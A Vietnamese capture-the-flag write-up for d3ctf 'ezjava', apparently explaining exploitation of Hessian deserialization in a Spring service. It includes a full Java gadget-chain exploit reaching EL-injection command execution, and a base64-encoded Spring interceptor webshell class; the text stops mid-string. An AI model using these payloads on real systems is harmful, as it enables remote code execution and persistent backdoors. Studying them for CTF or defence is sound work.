# ezjava writeup - d3ctf Source: https://github.com/to016/CTFs/tree/main/2023/d3ctf/ezjava Gồm 2 services `registry` (public) và `server` (internal) ![](https://hackmd.io/_uploads/B1pU8vBNh.png) flag được lưu bên phía `server` ![](https://hackmd.io/_uploads/rJf0LKIN3.png) *Cả 2 đều được build dựa trên spring framework* ## Registry exploit Về phần `registry` ta thấy có định nghĩa về controller cũng như các "serializer" ![](https://hackmd.io/_uploads/Ske5EPB43.png) `MainController.java` ```java package com.example.registry.controller; import com.alibaba.fastjson2.JSON; import com.example.registry.data.Blacklist; import com.example.registry.data.Result; import com.example.registry.util.DefaultSerializer; import com.example.registry.util.HessianSerializer; import com.example.registry.util.Request; import io.swagger.v3.oas.annotations.Operation; import io.swagger.v3.oas.annotations.tags.Tag; import java.util.Base64; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; @Tag( name = "Registry Controller" ) @RestController public class MainController { public MainController() { } @Operation( description = "hello for all" ) @GetMapping({"/"}) public String hello() { return "hello"; } @Operation( description = "registry will request client '/status' to get client status." ) @GetMapping({"/client/status"}) public Result clientStatus() { try { String json = Request.get("http://server:8080/status"); return (Result)JSON.parseObject(json, Result.class); } catch (Exception var2) { return Result.of("500", "client is down"); } } @Operation( description = "return serialized blacklist for client. Client will require blacklist every 10 sec." ) @GetMapping({"/blacklist/jdk/get"}) public Result getBlacklist() { String data = ""; String code = "200"; try { data = DefaultSerializer.serialize(Blacklist.readBlackList("security/jdk_blacklist.txt")); } catch (Exception var4) { data = var4.getMessage(); code = "500"; } return Result.of("200", data); } @Operation( description = "get serialized blacklist for registry" ) @GetMapping({"/blacklist/hessian/get"}) public Result getHessianBlacklist() { String data = ""; String code = "200"; try { data = DefaultSerializer.serialize(Blacklist.hessianBlackList); } catch (Exception var4) { data = var4.getMessage(); code = "500"; } return Result.of("200", data); } @Operation( description = "deserialize base64Str using hessian" ) @PostMapping({"/hessian/deserialize"}) public Result deserialize(String base64Str) { String data = ""; String code = "200"; try { byte[] serialized = Base64.getDecoder().decode(base64Str); HessianSerializer.deserialize(serialized); data = "deserialize success"; } catch (Exception var5) { data = "error: " + var5.getMessage(); code = "500"; } return Result.of(code, data); } } ``` Tổng quan về các endpoint: - `/` - trả về "hello" - `/client/status` - gửi request đến `http://server:8080/status` và trả về response tương ứng. - `/blacklist/jdk/get` - đọc "security/jdk_blacklist.txt" sau đó đưa dữ liệu vào một List và trả về dạng serialize đã được base64 encode của nó. `DefaultSerializer` sử dụng `ObjectInputStream` cho việc serialize ![](https://hackmd.io/_uploads/SJAuedSV3.png) ![](https://hackmd.io/_uploads/rJjWb_HEh.png) - `/blacklist/hessian/get` - tương tự như endpoint vừa đề cập ở trên nhưng đọc từ "security/hessian_blacklist.txt". - `/hessian/deserialize` - deserialize data từ POST param `base64Str` -> **Insecure deserialization** `HessianSerializer` sử dụng [SOFA-Hessian](https://gitee.com/sofastack/sofa-hessian) - ở version này cung cấp thêm cơ chế filtering các class được deserialize thông qua `ClassNameResolver`. ![](https://hackmd.io/_uploads/H1bJMdHNn.png) hessian_blacklist.txt bao gồm các blacklisted class, thường được dùng trong các chain của hessian ![](https://hackmd.io/_uploads/H1akvJIN2.png) Bên cạnh đó, cả registry và server đều build dựa trên spring, việc chuyển đổi từ json object sang string và ngược lại được hỗ trợ bởi thư viện fastjson ![](https://hackmd.io/_uploads/SkIp91IE3.png) ### Hessian deserialization **Về serialization/deserialization mechanism** Trong Java, quá trình serialization thực hiện chuyển đổi java object sang dạng byte stream để truyền hoặc lưu trữ. Mặt khác, quá trình deserialization được dùng để khôi phục lại object từ chuỗi bytes. Cơ chế serialization/deserialization có thể được chia ra thành 2 loại - Bean attribute access mechanism - Field mechanism Sự khác biệt cơ bản nhất giữa chúng nằm ở cách set attribute cho object. Đối với "Bean attribute access mechanism", thực hiện gọi các getter và setter method để truy cập đến object properties dựa trên reflection. Việc tự động gọi đến các method trên một object sẽ khiến cho attack surface của cơ chế này lớn hơn so với "Field-based mechanism". Deserialization dựa trên Field mechanism thực hiện gán giá trị cho Field thông qua các native method, thay vì các setter và getter. Attack surface của cơ chế này không rộng như cái đã đề cập trước đó nhưng vẫn có thể lợi dụng để khai thác. Đối với các kiểu collections nói riêng hay các loại khác nói chung không thể transmitted/stored runtime representation của object (ví dụ như Map lưu thông tin về hashcode của object tại runtime nhưng lại không thực hiện quá trình này khi storing). Điều đó có nghĩa là các field based marshallers sẽ có một converters riêng cho từng type. Các converters này thường sẽ phải invoke method trên object (attacker-provided object), mục đích của việc này là để khôi phục lại đúng hiện trạng của object ban đầu. Chẳng hạn như trong Hessian, nếu Map type được deserialized, `MapDeserializer` sẽ đảm nhiệm việc xử lí Map object. Trong khoảng thời gian đó, method `put()` của map sẽ được gọi để tính toán hash của recovered object và dẫn đến `hashcode()` call. Tùy vào từng tình huống mà có thể dẫn đến việc phát sinh thêm các method calls khác. Quay trở lại bài ctf này, việc sử dụng hessian để deseri bất kì dữ liệu gì nhận từ POST request có thể lợi dụng để trigger các method như `hashCode()`, `equals()`, `toString()`. Về hessian, trong quá khứ đã có sẵn một vài [gadget](https://paper.seebug.org/1137/#analysis-of-several-hessian-gadget-chains), `SpringPartiallyComparableAdvisorHolder` là một trong số đó nhưng không thể bê y nguyên payload đã có sẵn để áp dụng vào bài này bởi vì một vài class trong chain đã bị blasklist. Ý tưởng ở đây vẫn dựa trên `SpringPartiallyComparableAdvisorHolder`, nhưng sẽ đi tìm các class để thay thế và mục tiêu là trigger `JSONObject.toString()` (tại sao thì ở phần sau mình sẽ giải thích) `SpringPartiallyComparableAdvisorHolder` chain: ```java String jndiUrl = "ldap://localhost:1389/obj"; SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory(); bf.setShareableResources(jndiUrl); //BeanFactoryAspectInstanceFactory.getOrder is called when deserializing,it Will trigger the call SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup Reflections.setFieldValue(bf, "logger", new NoOpLog()); Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //AspectJAroundAdvice.getOrder is called when deserializing,it will trigger the call BeanFactoryAspectInstanceFactory.getOrder AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); Reflections.setFieldValue(aif, "beanFactory", bf); Reflections.setFieldValue(aif, "name", jndiUrl); //AspectJPointcutAdvisor.getOrder is called when deserializing, it will trigger the call AspectJAroundAdvice.getOrder AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class); Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //PartiallyComparableAdvisorHolder.toString is called when deserializing, it will trigger the call AspectJPointcutAdvisor.getOrder AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class); Reflections.setFieldValue(advisor, "advice", advice); //Xstring.equals is called when deserializing, it will trigger the call PartiallyComparableAdvisorHolder.toString Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"); Object pcah = Reflections.createWithoutConstructor(pcahCl); Reflections.setFieldValue(pcah, "advisor", advisor); //HotSwappableTargetSource.equals is called when deserializing, it will trigger the call Xstring.equals HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah); HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx")); //HashMap.putVal is called when deserializing, it will trigger the call HotSwappableTargetSource.equals. There is no direct use of the HashMap.put setting value. Direct put will trigger the utilization chain locally, so using marshalsec uses a more special processing method. HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); ``` `MapDeserializer.readMap()` được gọi khi deseri Map type và trigger `Map.put()` ![](https://hackmd.io/_uploads/rkrN8uI4n.png) Gọi đến `HashMap.put()` ![](https://hackmd.io/_uploads/rJFgd_LNn.png) với method `hash()` thực chất là gọi đến `key.hashCode()` ![](https://hackmd.io/_uploads/SJNtuOU42.png) Do đó, class `HotSwappableTargetSource` được sử dụng vì method `hashCode()` của nó trả về một giá trị cố định ![](https://hackmd.io/_uploads/SJZ6uOIVh.png) Tiếp tục F7, `equals()` method tại `HashMap.putVal()` sẽ được trigger tại lần `put()` thứ hai. Bởi lẽ `p.hash == hash` và `p.key != key` ![](https://hackmd.io/_uploads/HyB_Pd8V2.png) Trong chain gốc, `XString` được dùng để trigger method `toString()` của `PartiallyComparableAdvisorHolder` và cuối cùng dẫn đến jndi injection. ``` XString.equals(PartiallyComparableAdvisorHolder) PartiallyComparableAdvisorHolder.toString() AspectJPointcutAdvisor.getOrder() AspectJAroundAdvice.getOrder() BeanFactoryAspectInstanceFactory.getOrder() SimpleJndiBeanFactory.getType() SimpleJndiBeanFactory.doGetType() SimpleJndiBeanFactory.doGetSingleton() SimpleJndiBeanFactory.lookup() JndiTemplate.lookup() Context.lookup() ``` Nhưng như đã nói, vì một vài class trong chain đã bị blacklist bao gồm cả `XString` vì thế sẽ cần phải tìm một con đường khác. Mình có để ý đến một điểm trong source code đó là ở class `Result`, kiểu của field `message` đáng lẽ ra phải là `String` nhưng thay vào đó lại là `Object` ```java package com.example.registry.data; public class Result { private Object message; private String code; public Result(String code, String message) { this.message = message; this.code = code; } public static Result of(String code, String message) { return new Result(code, message); } public Object getMessage() { return this.message; } public void setMessage(String message) { this.message = message; } public String getCode() { return this.code; } public void setCode(String code) { this.code = code; } public boolean equals(Object o) { if (this == o) { return true; } else { return o != null && this.getClass() == o.getClass() ? this.toString().equals(o.toString()) : false; } } public String toString() { StringBuilder sb = new StringBuilder(); sb.append(this.code); sb.append(this.message); return sb.toString(); } } ``` Suy ra có thể lợi dụng class này để trigger method `toString()` trên object `message`. Cụ thể là tại method `equals()`, nếu `this.getClass() == o.getClass()` thì sẽ call đến `o.toString()`. Ta sẽ khởi tạo `o` là một instance của class `Result` với `message` là một JSONObject (vì đang cần trigger `JSONObject.toString()` 😁) ```java Result result1 = new Result("cccc1", "cccc1"); Result result2 = new Result("cccc2", "cccc2"); Reflections.setFieldValue(result1, "message", jsonObject); HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1); HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2); ``` `StringBuilder.append()` sẽ gọi đến `String.valueOf()` ![](https://hackmd.io/_uploads/rkDLyY8Vh.png) và method `toString()` sẽ được gọi tại đây Call stack: ``` toString:1028, JSONObject (com.alibaba.fastjson) valueOf:2994, String (java.lang) append:131, StringBuilder (java.lang) toString:43, Result (com.example.registry.data) equals:36, Result (com.example.registry.data) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:562, SerializerFactory (com.caucho.hessian.io) readObject:2883, Hessian2Input (com.caucho.hessian.io) deserialize:61, Main (com.hessian) main:114, Main (com.hessian) ``` ### Rensin chain Ngoài chain đề cập ở trên thì vẫn còn một chain khác vẫn có thể được dùng để khai thác jndi injection -> [Resin](https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/Resin.java) Ý tưởng là trigger method `getTargetContext()` của `ContinuationDirContext` ![](https://hackmd.io/_uploads/S1AgdFLNh.png) `NamingManager.getContext()` call `NamingManager.getObjectInstance()` ![](https://hackmd.io/_uploads/S1-MOYLE2.png) và gọi tới `NamingManager.getObjectFactoryFromReference()` ![](https://hackmd.io/_uploads/HkY0hFLNh.png) Cần lưu ý một điều, version jdk của bài là 8u342 > 8u191 vì thế mặc định thuộc tính trustURLCodebase sẽ là false và không thể remote load class. Nhưng vẫn có thể lợi dụng để load các class từ class path (dòng 146) miễn là implement `javax.naming.spi.ObjectFactory` và có định nghĩa method `getObjectInstance()`. -> `org.apache.naming.factory.BeanFactory` có thể được dùng để invoke setter method và khai thác expression language injection, sử dụng javascript engine trong java để thực thi code. **=> Vậy sẽ cần tìm cách để gọi đến `ContinuationDirContext.getTargetContext()`** ### JSONObject toString() Như đã nói ở trên, fastjson được tích hợp vào ứng dụng để dùng trong việc convert json sang string. Vẫn "trong quá khứ" 😙, người ta lợi dụng `JSONObject.toString()` để khai thác json deseri, cụ thể là invoke các getter method. `BeanUtils.getters()` - Lấy ra tất cả các "method không argument" của class hiện tại. ![](https://i.imgur.com/HedVKvo.png) - Bên cạnh đó vẫn đòi hỏi một vài điều kiện như: `methodName` phải bắt đầu với "get" và có length > 4 ![](https://i.imgur.com/vvUKiKG.png) Call stack: ``` getters:810, BeanUtils (com.alibaba.fastjson2.util) createObjectWriter:251, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) getObjectWriter:318, ObjectWriterProvider (com.alibaba.fastjson2.writer) getObjectWriter:507, JSONWriter (com.alibaba.fastjson2) write:528, ObjectWriterImplMap (com.alibaba.fastjson2.writer) toJSONString:2388, JSON (com.alibaba.fastjson2) toString:1028, JSONObject (com.alibaba.fastjson) valueOf:2994, String (java.lang) append:136, StringBuilder (java.lang) toString:50, Result (com.example.registry.data) equals:43, Result (com.example.registry.data) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:636, HashMap (java.util) put:613, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:562, SerializerFactory (com.caucho.hessian.io) readObject:2883, Hessian2Input (com.caucho.hessian.io) deserialize:34, HessianSerializer (com.example.registry.util) deserialize:77, MainController (com.example.registry.controller) ... ``` Tiếp tục debug để quay về `ObjectWriterImplMap.write()`, lúc này `valueWriter` bao gồm hai thuộc tính `fieldWriter0` và `fieldWriter1` chứa field name và getter method tương ứng. ![](https://i.imgur.com/v9AWyp7.png) Call stack đến `org.apache.naming.factory.BeanFactory#getObjectInstance()` ``` getObjectInstance:118, BeanFactory (org.apache.naming.factory) getObjectInstance:332, NamingManager (javax.naming.spi) getContext:450, NamingManager (javax.naming.spi) getTargetContext:55, ContinuationContext (javax.naming.spi) getEnvironment:197, ContinuationContext (javax.naming.spi) apply:-1, 758686135 (javax.naming.spi.ContinuationDirContext$$Lambda$609) getFieldValue:36, FieldWriterObjectFunc (com.alibaba.fastjson2.writer) write:189, FieldWriterObject (com.alibaba.fastjson2.writer) write:76, ObjectWriter2 (com.alibaba.fastjson2.writer) write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer) ... ``` ### Script exploit registry ```java package com.hessian; import com.alibaba.fastjson.JSONObject; import com.alipay.hessian.ClassNameResolver; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.HessianOutput; import com.example.registry.data.Result; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.org.apache.xpath.internal.objects.XStringForFSB; import io.swagger.v3.core.util.Json; import org.apache.naming.ResourceRef; import org.hibernate.metamodel.source.annotations.ReflectionHelper; import org.springframework.aop.target.HotSwappableTargetSource; import ysoserial.payloads.util.Reflections; import javax.naming.CannotProceedException; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.naming.directory.DirContext; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; public class Main { public static <T> byte[] serialize(T o) throws IOException, IOException { FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); ByteArrayOutputStream bao = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(bao); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(o); output.close(); bao.writeTo(fileOutputStream); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); Hessian2Input input = new Hessian2Input(bai); Object o = input.readObject(); return (T) o; } public static void main(String[] args) throws Exception { Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0]; constructor.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); Reflections.setFieldValue(cpe, "cause", null); Reflections.setFieldValue(cpe, "stackTrace", null); ResourceRef ref = new ResourceRef( "javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','touch /tmp/to016']).start()\")}")); cpe.setResolvedObj(ref); Reflections.setFieldValue(cpe, "suppressedExceptions", null); DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>()); JSONObject jsonObject = new JSONObject(); jsonObject.put("xxxx", ctx); Result result1 = new Result("cccc1", "cccc1"); Result result2 = new Result("cccc2", "cccc2"); Reflections.setFieldValue(result1, "message", jsonObject); HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1); HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2); HashMap hm = makeMap(v1, v2); byte[] s = serialize(hm); System.out.println((Result)deserialize(s)); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } ``` Kết quả: ![](https://hackmd.io/_uploads/rkoYm5LE2.png) --- ## Server exploit Về phần `server`, chỉ có một endpoint `/status` ![](https://hackmd.io/_uploads/B19FvyIVh.png) `IndexController.java` ```java package com.example.server.controller; import com.alibaba.fastjson2.JSON; import com.example.server.data.Result; import com.example.server.util.DefaultSerializer; import com.example.server.util.Request; import java.net.InetAddress; import java.util.ArrayList; import java.util.Base64; import java.util.List; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class IndexController { public static List<String> denyClasses = new ArrayList(); public static long lastTimestamp = 0L; public IndexController() { } @GetMapping({"/status"}) public Result status() { String msg; try { long currentTimestamp = System.currentTimeMillis(); msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName()); if (currentTimestamp - lastTimestamp > 10000L) { this.update(); lastTimestamp = System.currentTimeMillis(); } } catch (Exception var4) { msg = "client is online"; } return Result.of("200", msg); } public void update() { try { String registry = "http://registry:8080/blacklist/jdk/get"; String json = Request.get(registry); Result result = (Result)JSON.parseObject(json, Result.class); Object msg = result.getMessage(); if (msg instanceof String) { byte[] data = Base64.getDecoder().decode((String)msg); denyClasses = (List)DefaultSerializer.deserialize(data, denyClasses); } else if (msg instanceof List) { denyClasses = (List)msg; } } catch (Exception var6) { var6.printStackTrace(); } } } ``` Nhiệm vụ: gửi request đến `http://registry:8080/blacklist/jdk/get`, sau đó check nếu `msg` là instance của String -> thực hiện deserialize thông qua `DefaultSerializer` và update lại `denyClasses` `DefaultSerializer.deserialize()` thực hiện deseri với `AntObjectInputStream` ![](https://hackmd.io/_uploads/SkeDOk8V2.png) Class này định nghĩa lại method `resolveClass` từ ObjectInputStream và thêm vào cơ chế "look-ahead ObjectInputStream mitigation", với `denyClasses` lấy từ tham số của hàm. ![](https://hackmd.io/_uploads/B1E_dy8V2.png) Tới đây, mình nhận thấy bóng dáng của [look-ahead deserialization bypass](https://nguyendt.hashnode.dev/preview/643ed9bbb3c69f000fff733f#heading-i-look-ahead-objectinputstream-mitigation-bypass) nhưng các class bị blacklist vẫn khá nhiều nên sau một hồi thử thì mình quyết định không tiếp cận theo hướng này nữa 🥺🏳️🏳️🏳️. Ý tưởng từ official wu là "tomcat memory horse attack", vì hiện tại ta đã có thể kiểm soát được registry nên có thể add một malicious filter tại `/blacklist/jdk/get` và lợi dụng update lại `denyClasses`, cuối cùng là trả về payload để khai thác insecure deserialize bên phía server. Tuy nhiên ở bài viết này mình sẽ dùng một kĩ thuật khác có tên gọi là **spring interceptor memory horse**. ### Spring Interceptor Memory Horse Về vị trí đặt của Filters và Interceptors: ![](https://hackmd.io/_uploads/HkW0B5LV3.png) Filters intercept các requests trước khi chúng đến [DispatcherServlet](https://www.geeksforgeeks.org/what-is-dispatcher-servlet-in-spring/). HandlerInterceptors, mặc khác, intercepts requests giữa DispatcherServlet và Controllers. Chi tiết về kĩ thuật này mọi người có thể tham khảo tại link sau: <https://www.soughttech.com/front/article/977/viewArticle> **Sơ lược về ý tưởng** Call stack đến một interceptor sẽ như sau ``` preHandle:31, TestInterceptor applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet) doDispatch:956, DispatcherServlet (org.springframework.web.servlet) doService:895, DispatcherServlet (org.springframework.web.servlet) processRequest:967, FrameworkServlet (org.springframework.web.servlet) doGet:858, FrameworkServlet (org.springframework.web.servlet) service:621, HttpServlet (javax.servlet.http) service:843, FrameworkServlet (org.springframework.web.servlet) service:728, HttpServlet (javax.servlet.http) internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core) doFilter:210, ApplicationFilterChain (org.apache.catalina.core) invoke:222, StandardWrapperValve (org.apache.catalina.core) invoke:123, StandardContextValve (org.apache.catalina.core) invoke:472, AuthenticatorBase (org.apache.catalina.authenticator) invoke:171, StandardHostValve (org.apache.catalina.core) invoke:99, ErrorReportValve (org.apache.catalina.valves) invoke:947, AccessLogValve (org.apache.catalina.valves) invoke:118, StandardEngineValve (org.apache.catalina.core) service:408, CoyoteAdapter (org.apache.catalina.connector) process:1009, AbstractHttp11Processor (org.apache.coyote.http11) process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote) run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang ``` `DispatcherServlet.doDispatch()` gọi đến `getHandler()` để lấy giá trị cho `mappedHandler` ![](https://hackmd.io/_uploads/SkP9BjLNh.png) Sau đó gọi đến `applyPreHandler()` ![](https://hackmd.io/_uploads/HyzWIiLVn.png) Tại đây, method `preHandle()` của các interceptor được gọi đến để intercept request ![](https://hackmd.io/_uploads/HkcpIsUNh.png) Cùng xem nơi mà chúng được gán giá trị `org.springframework.web.servlet.DispatcherServlet#getHandler()` ![](https://hackmd.io/_uploads/H1pBwj8E2.png) Duyệt qua các phần tử trong `handlerMappings` và call `HandlerMapping.getHandler()` ![](https://hackmd.io/_uploads/rJcDDjINn.png) Thực chất là gọi đến `org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler()` ![](https://hackmd.io/_uploads/HkAmui8E2.png) Đi vào method `getHandlerExecutionChain()`, ta thấy nó duyệt qua các phần tử trong `adaptedInterceptors` và nếu phần tử đó là một instance của `MappedInterceptor` -> thực hiện add vào chain. ![](https://hackmd.io/_uploads/H1xCuj8V2.png) Vậy idea sẽ là bằng cách nào đó lấy ra được `adaptedInterceptors` trong `org.springframework.web.servlet.handler.AbstractHandlerMapping` sau đó thêm malicious interceptor vào là xong. Dựng một spring application để test, với các controller: ```java package com.example.springmemshell.controller; import javassist.CannotCompileException; import javassist.NotFoundException; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import java.io.IOException; @Controller public class MainController { @RequestMapping(value = { "/" }) @ResponseBody public String index(){ return "Hi index!!!"; } @RequestMapping(value = { "/exp" }) @ResponseBody public String test() { String className = "ExploitInterceptor"; // base64 encode of "ExploitInterceptor.class" String b64 = "yv66vgAAADQAxAsALQBkCwAtAGULAGYAZwgAaAoAaQBqCABrBwBsCgAHAG0IAG4KAAcAbwoABwBwCABxCAByCwBzAHQLAHMAdQoAdgB3CgB2AHgKAHYAeQoALAB6CgB7AHwIAH0LAH4AfwcAgAgAUAsAFwCBBwCCCABUCgCDAIQKAIUAhgoAhQCHBwCICgAfAIkKAB8AigcAiwkAjACNCACOCgCPAJAIAJEKACIAbQoAHwCSBwCTBwCUCgAqAJUHAJYHAJcBAARudW1zAQABSQEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTEV4cGxvaXRJbnRlcmNlcHRvcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAApFeGNlcHRpb25zAQAQTWV0aG9kUGFyYW1ldGVycwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAARjb2RlAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQANU3RhY2tNYXBUYWJsZQEABjxpbml0PgEAAygpVgEAAWkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQASZXhwbG9pdEludGVyY2VwdG9yAQABZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwcAiwcAgAcAggcAmAcAiAcAkwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAAWEBAApTb3VyY2VGaWxlAQAXRXhwbG9pdEludGVyY2VwdG9yLmphdmEMADAAMQwAQQBCBwCZDACaAJsBAAQvZ2VuBwCcDACdAJ4BAKR7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTUgb1lXNWtiR1V1U0c5dFpVaGhibVJzWlVsdGNHeDQifQEAEWphdmEvdXRpbC9TY2FubmVyDABLAGABAAJcQQwAnwCgDAChAJsBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHAKIMAKMApAwApQCmBwCnDACoAGAMAKkATAwAqgBMDABLAEwHAKsMAKwArQEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcArgwArwCwAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAsQCyAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHALMMALQAtQcAmAwAtgC3DAC4ALkBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAC6ALsMALgAvAEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAvQwAvgC/AQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDADADB